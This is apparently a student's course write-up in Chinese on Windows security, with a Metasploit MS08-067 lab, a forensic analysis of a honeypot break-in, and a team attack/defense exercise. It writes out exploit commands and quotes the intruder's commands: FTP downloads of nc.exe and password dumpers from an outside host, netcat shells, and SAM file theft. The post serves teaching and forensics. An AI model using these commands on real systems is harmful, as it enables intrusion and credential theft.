20199109 2019-2020-2 《网络攻防实践》第七周作业

Windows操作系统安全攻防

总体结构

这个作业属于哪个课程 https://edu.cnblogs.com/campus/besti/19attackdefense
这个作业的要求在哪里 https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10612
这个作业在哪个具体方面帮助我实现目标 学习windows下的安全攻防技术
作业正文.. 见一和二

一、实践内容

(一)Windows操作系统基本框架概述

1、基本结构

基本结构如下图所示,分为运行于处理器特权模式的操作系统内核以及运行在处理器非特权模式的用户空间代码。

  • Windows操作系统内核的基本模块有:

    • Windows执行体:核心文件的上层接口,包含基本的操作系统内核服务
    • Windows内核体:核心文件中函数实现与硬件体系结构支持代码,实现底层的操作系统功能
    • 设备驱动程序:包括硬件设备驱动和文件系统与网络设备驱动程序
    • 硬件抽象层:用于屏蔽内核与平台硬件差异性的底层代码
    • Windows窗口与图形界面接口内核实现代码
  • Windows操作系统在用户态的代码模块有:

    • 系统支持进程:开机自启动的系统内建服务进程
    • 环境子系统服务进程:为操作系统运行环境提供支持的服务进程
    • 服务进程:通过服务管理机制所启动的一系列系统及网络服务
    • 用户应用软件:在用户态执行的各类用户应用软件
    • 核心子系统DLL:动态连接库文件
  • 在上述系统架构下,Windows操作系统实现了如下核心机制

    • Windows进程和线程管理机制:进程视作可执行程序运行时刻的容器,线程为指令执行的具体载体。
    • Windows内存管理机制:虚拟内存空间分为系统核心内存区间和用户内存区间
    • Windows文件管理机制:NTFS文件系统,基于ACL访问控制列表保证文件资源读写的安全性。可执行文件采用PE格式
    • Windows注册表管理机制:注册表是系统全局配置、用户和应用软件配置信息的存储仓库。几乎每个操作都伴随大量从注册表读取和修改配置信息的动作
    • Windows网络机制:网络结构如下图所示

(二)Windows安全体系结构和机制

1、windows安全体系结构

  • windows操作系统基于引用监控器模型来实现基本的对象安全模型。系统中所有主体对客体的访问都通过引用监控器作为中介。
  • Windows系统安全体系结构如下图所示,最核心的是位于内核中的SRM安全引用监控器,以及位于用户态的LSASS安全服务。

2、Windows身份认证机制

  • 每个安全主体,都有全局唯一的SID安全标识符进行标识
  • windows为每个用户和计算机设置账户进行管理,并引入用户账户容器来简化用户管理
  • windows的用户账户的口令通过加密处理之后被保存于SAM或者活动目录AD中。
  • Windows支持本地身份认证和网络身份认证两种方式,分别对在本地系统登录和远程网络访问的主体进行合法性验证
  • Winlogon进程、GINA图形化登录窗口、LSASS服务通过协作来完成本地身份认证的过程。远程访问时进行基于“质询-应答式”的身份验证协议过程验证身份。

3、Windows授权与访问控制机制

  • 基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同来实施。SRM作为中介,根据设定的访问控制列表进行授权访问。
  • 用户等主体经过认证后,会被赋予一个访问令牌,保存了SID标识符列表。
  • windows下所有需要保护的内容都被抽象成对象,每个对象会关联一个SD安全描述符。主要属性如下
    • Owner SID:对象所有者的SID
    • Group SID:对象所在组的SID
    • DACL自主访问控制列表:指明了哪些安全主体可以以何种方式访问该对象
    • SACL系统审计访问控制列表:指明了哪些主体发起的哪些访问需要被审计

4、Windows安全审计机制

  • 审计策略配置过程如下:
    • LSASS服务将保存审计策略,在对象安全描述符中的SACL列表中进行保存
    • SRM依据对象的SACL列表配置,进行审计记录后发给LSASS
    • LSASS补充细节后发给EventLog事件日志服务
    • EventLog将事件日志写入日志文件

5、其他安全机制

  • Windows安全中心:防火墙、补丁自动更新、病毒防护
  • 安全特性还包括IPSec加密与验证机制、EFS加密文件系统等

(三)Windows远程安全攻防技术

  • 分为以下几大类:
    • 远程口令猜测与破解攻击;
    • 攻击windows网络服务;
    • 攻击windows客户端及用户

(四)Windows本地安全攻防技术

1、本地特权提升

  • 提权的攻击途径主要是通过DLL注入和破解本地程序安全漏洞
  • 防范措施:及时打补丁,及时跟踪软件厂商的安全警告

2、敏感信息窃取

  • 破译各种口令字,包括口令字密文提取技术、口令字破解技术、用户敏感数据窃取等。
  • 防范措施:使用安全强度高、能抵御破解的口令

3、Windows消灭踪迹

  • 包括关闭审计功能,清理事件日志等
  • 防范措施:事先配置好系统审计与网络服务审计功能

4、远程控制与后门程序

  • 攻击者通常在受控系统中自主植入第三方远程控制和后门程序,主要分为命令行远程控制工具和图形化控制工具两大类
  • 防范措施:采用后门检测软件尝试发现隐藏的后门程序

实践过程

实验一:动手实践Metasploit windows attacker

任务:使用metasploit软件进行windows远程渗透攻击实验
具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权

  • 这里使用kali作为攻击机,IP地址是192.168.200.3,Win2kServer作为靶机,IP地址192.168.200.124

  • 首先在kali中输入“msfconsole”进入Metasploit

  • 搜索MS08-067漏洞,并执行指令“use exploit/windows/smb/ms08_067_netapi”表示使用MS08-067作为我们攻击的目标漏洞。

  • 通过命令“show payloads”显示出有效的攻击载荷,然后我们“set PAYLOAD 3”选择设置打开反向连接的载荷

  • 输入“set LHOST 192.168.200.3”设置渗透攻击的主机是kali

  • 输入set RHOST 192.168.200.124设置渗透攻击的靶机IP;

  • 使用“exploit”命令进行渗透攻击

  • 使用ipconfig命令查看靶机的IP等设置,由此渗透攻击成功

  • 我这里试了教程里的“set PAYLOAD windows/meterpreter/reverse_tcp”但是没有渗透成功,不知道为什么。

实践二:取证分析实践:解码一次成功的NT系统破解攻击

任务:来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106(主机名为lab.wiretrip.net),回答下列问题。
攻击者使用了什么破解工具进行攻击?
攻击者如何使用这个破解工具进入并控制了系统?
攻击者获得系统访问权限后做了什么?
我们如何防止这样的攻击?
你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?

  • 首先我们用wireshark打开给的.log文件,然后有一些tcp和http协议,筛选一下http数据,能看到有个“GET /rfp.gif HTTP/1.1”的语句,猜测rfp可能是个网站;往下看还有特殊的字符%C0%AF,经过查询了解到这是Unicode编码,因此攻击者之后应该使用了Unicode漏洞攻击

  • 然后我们看到有msadc和msadcs.dll文件,这是一个探测过程,是远程数据访问服务的文件

  • 之后我们去跟踪HTTP流,可以看到“cmd /c echo werd >> c:\fun”语句,且字符 !ADM!ROX!YOUR!WORLD! 出现频率很高,经过查询资料可知这是RDS漏洞攻击,并且是一个名为msadc2.pl工具发起的攻击,同时也给出了具体的使用参数“perl msacs2.pl -h www.victim.com”

  • 接下来我们去看他如何进入并控制系统。我们提取一些shell语句

    • shell (“cmd /c echo werd >> c : f u n ” ) ;
    • shell ( “cmd /c echo user johna2k > ftpcom” ) ;
    • shell ( “cmd /c echo hacker 2000 >> ftpcom” ) ;
    • shell ( “cmd /c echo get pdump.exe >> ftpcom” ) ;
    • shell ( “cmd /c echo get nc.exe>>ftpcom” ) ;
    • shell ( “cmd /c echo quit>>ftpcom” )
    • shell ( “cmd /c ftp – s : ftpcom- n www.nether.net” ) ;
    • shell ( “cmd /c pdump .exe>>new.pass” ) ;
    • shell ( “cmd /c echo get samdump.dll>>ftpcom” ) ;
    • shell ( “cmd /c echo get pdump.exe>>ftpcom” ) ;
    • shell ( “cmd /c echo get nc.exe>>ftpcom” ) ;
    • shell ( “cmd /c echo quit>>ftpcom” ) ;
    • shell ( “cmd /c ftp – s : ftpcom ) ;
  • 这里,攻击者创建了一个ftpcom脚本,并使用 ftp连接www.nether.net(连接了好几次),并尝试下载 samdump.dll、pdump.exe和nc.exe(攻击工具)。然后我们追踪TCP流发现,这个连接由于口令错误导致连接失败。说明这次攻击是一个失败的攻击。

  • 因为攻击者每次都需要进行ftp下载所需要的攻击的工具,那么我们可以直接筛选ftp连接,找到成功的ftp连接就好。能看到直到1106才连接成功。

  • 那么我们就看一下之前攻击者发出的指令,并且由下图我们能发现这次攻击是Unicode攻击?

    • shell ( “cmd /c echo get pdump.exe>>sasfile ” ) ;
    • shell ( “cmd /c echo get samdump.dll>>sasfile ” ) ;
    • shell ( “cmd /c echo get nc.exe>>sasfile ” ) ;
    • shell ( “cmd /c echo quit>>sasfile ” ) ;
  • 然后我们再看他之后又干了什么。继续追踪tcp流,可以看到这样一条命令“cmd1.exe /c nc -l -p 6969 -e cmd1.exe”。表示攻击者连接了6969端口,并且获得了访问权限。至此,攻击者完成了进入系统并且获得访问权的过程。

  • 让我们继续,看他获得系统访问权之后做了什么。首先用条件“tcp.port == 6969”筛选一下,然后追踪一下TCP流。

  • 发了一个echo消息到C盘根目录文件README.NOW.Hax0r

  • 尝试通过net group查看组用户、net localgroup查看本地组用户、以及 net group domain admins,但是都失败了。

  • 然后攻击者开始寻找msadc目录,并尝试执行pdump来破解出口令密文,但是还是失败了。

  • 最后他放弃了,删除了samdump和pdump

  • 然后他用rdisk尝试获得SAM口令文件(安全账号管理器),rdisk是磁盘修复程序,执行rdisk /s-备份关键系统信息,在/repair目录中就会创建一个名为sam._的SAM压缩拷贝。并且攻击者把这个文件拷贝到har.txt并打印。

  • 之后攻击还没有结束,他又进行了Unicode攻击,并且重新建立了一个端口6968,执行指令为“nc -l -p 6968 -e cmd1.exe”

  • 设置筛选条件“tcp.port == 6968”,通过追踪TCP流发现攻击者首先将SAM文件拷贝至IIS的根目录 inetpub,攻击者获取该文件后,尝试删除,但没有成功。然后没干啥就退出了。

  • 但是攻击还是没有结束(好像有点菜但又永不言弃...)攻击者又进行了Unicode攻击并创建新的端口6868,执行指令“nc -l -p 6868 -e cmd1.exe”

  • 追踪tcp流,我们可以看到,他创建了一个test.txt文件,内容为This can't be true,并echo . >> default.htm篡改了首页。随后exit退出了当前的shell

  • 我们一直往后看,能看到一个指令“del ftpcom”,就是删除了ftpcom脚本文件,这是为了清除痕迹。整个攻击至此也就结束了。

  • 如何防止此类攻击呢

    • 自身的口令要是强口令,这样可以增大破解口令难度;
    • 及时、定期的打补丁,修复漏洞;
    • 禁用一些RDS服务
    • 定期的扫描自身的主机,查看是否存在漏洞。
  • 显然,攻击者发现了这是一台蜜罐主机,在追踪数据流的时候看到了他留下的信息

实践三:团队对抗实践:Windows系统远程渗透攻击和分析

任务:
攻击方使用metaploit选择漏洞进行渗透攻击,获得控制权。
防守方使用wireshark监听获得网络攻击的数据包,结合分析过程,获得攻击者IP地址、目的IP地址和端口、攻击发起时间、攻击利用漏洞、攻击使用的shellcode,以及本地执行的命令输入信息。

  • 前面的步骤和实践一一样不再赘述。

  • 打开wireshark监听,可以看到攻击者IP192.168.200.3;目的地址192.168.200.124,目的端口445;攻击发起时间是从ARP协议的询问开始;攻击利用的漏洞:针对SMB网络服务的漏洞、DCERPC解析器拒绝服务漏洞、SPOOLSS打印服务假冒漏洞(MS10-061);

  • 攻击机输入ipconfig命令,wireshark捕获

三、学习实践中遇到的问题及思考感悟

这次实践在环境上没有什么问题,就是NT分析有点蒙圈,wireshark看的头大,拿到数据包不知从何下手,整体做完后思路清晰一些了,慢慢来吧。

猜你喜欢

转载自www.cnblogs.com/hyyoooh/p/12686486.html